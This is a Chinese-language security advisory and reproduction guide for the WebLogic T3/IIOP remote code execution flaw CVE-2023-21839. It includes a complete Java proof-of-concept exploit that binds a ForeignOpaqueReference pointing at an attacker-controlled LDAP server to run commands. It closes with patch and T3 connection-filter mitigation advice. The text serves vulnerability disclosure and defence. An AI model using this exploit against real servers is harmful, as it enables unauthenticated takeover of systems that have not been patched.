漏洞簡述
WebLogic是美國Oracle公司出品的一個application server,用于本地和雲端開發、內建、部署和管理大型分布式Web應用、網絡應用和資料庫應用的Java應用伺服器。WebLogic Server是一個基于JAVAEE架構的中間件,将Java的動态功能和Java Enterprise标準的安全性引入大型網絡應用的開發、內建、部署和管理之中,提供了Java Enterprise Edition (EE)和Jakarta EE的可靠、成熟和可擴充的實作。
WebLogic 存在遠端代碼執行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3協定存在缺陷,當IIOP/T3協定開啟時,允許未經身份驗證的攻擊者通過IIOP/T3協定網絡通路攻擊存在安全風險的WebLogic Server,漏洞利用成功WebLogic Server可能被攻擊者接管執行任意指令導緻伺服器淪陷或者造成嚴重的敏感資料洩露。
影響範圍
- WebLogic_Server = 12.2.1.3.0
- WebLogic_Server = 12.2.1.4.0
- WebLogic_Server = 14.1.1.0.0
危害級别:高
- CNVD-2023-04389
- CVE-2023-21839
漏洞複現
01 環境
WebLogic_Server = 12.2.1.3.0
(https://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_Disk1_1of1.zip)
02 安裝參考
https://blog.csdn.net/qq_41979593/article/details/123780213
由于Weblogic t3/iiop協定支援遠端綁定對象bind到服務端,并且可以通過lookup檢視,當遠端對象繼承自OpaqueReference時,lookup檢視遠端對象,服務端會調用遠端對象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference繼承自OpaqueReference并且實作了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)實作,故可以通過rmi/ldap遠端協定進行遠端指令執行。
03 複現步驟
1.建立java項目,并寫入poc檔案
2.從檔案-項目結構-子產品-依賴處引入wlfullclient.jar子產品(windows安裝路徑:C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib)
3.遠端啟用JNDI服務,運作poc檔案
4.漏洞複現成功
04 POC如下
使用main方法建立了一個getInitialContext方法并使用getInitialContext方法,建立初始上下文并使用T3協定與WebLogic伺服器連接配接,然後建立了一個weblogic.deployment.jms.ForeignOpaqueReference類的執行個體并通過反射機制通路私有字段以設定遠端JNDI名稱,并将其綁定到WebLogic伺服器上的"bind"命名對象,導緻指令執行漏洞。
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class BindRce {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
private static InitialContext getInitialContext(String url)throws NamingException
{
Hashtableenv = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
//iiop
public static void main(String args[]) throws Exception {
InitialContext c=getInitialContext("t3://xx.xx.xx.xx:7001");
Hashtableenv = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,"ldap://xx.xx.xx.xx /basic/Command/calc");
c.bind("XXX121",f);
c.lookup("XXX121");}
}
漏洞修複
01 廠商已釋出了漏洞修複更新檔
下載下傳連結:
https://support.oracle.com/rs?type=doc&id=2917213.2
02 臨時加強建議
針對T3協定使用連接配接篩選器臨時阻止外部通路7001端口的T3/T3s協定:連接配接篩選器:weblogic.security.net.ConnectionFilterImpl
03 規則示例
0.0.0.0/0 * 7001 deny t3 t3s #拒絕所有通路
允許和拒絕指定IP規則示例:
192.168.1.0/24 * 7001 allow t3 t3s #允許指定IP段通路
192.168.2.0/24 * 7001 deny t3 t3s #拒絕指定IP段通路
連接配接篩選器說明參考(英文):
https://docs.oracle.com/cd/E24329_01/web.1211/e24485/con_filtr.htm#SCPRG377
04 禁用IIOP協定
在Weblogic控制台中,選擇“base_domain”->“監視”進入“AdminServer”-> “協定”->“IIOP”中,取消“啟用IIOP”的勾選。并重新開機Weblogic項目,使配置生效。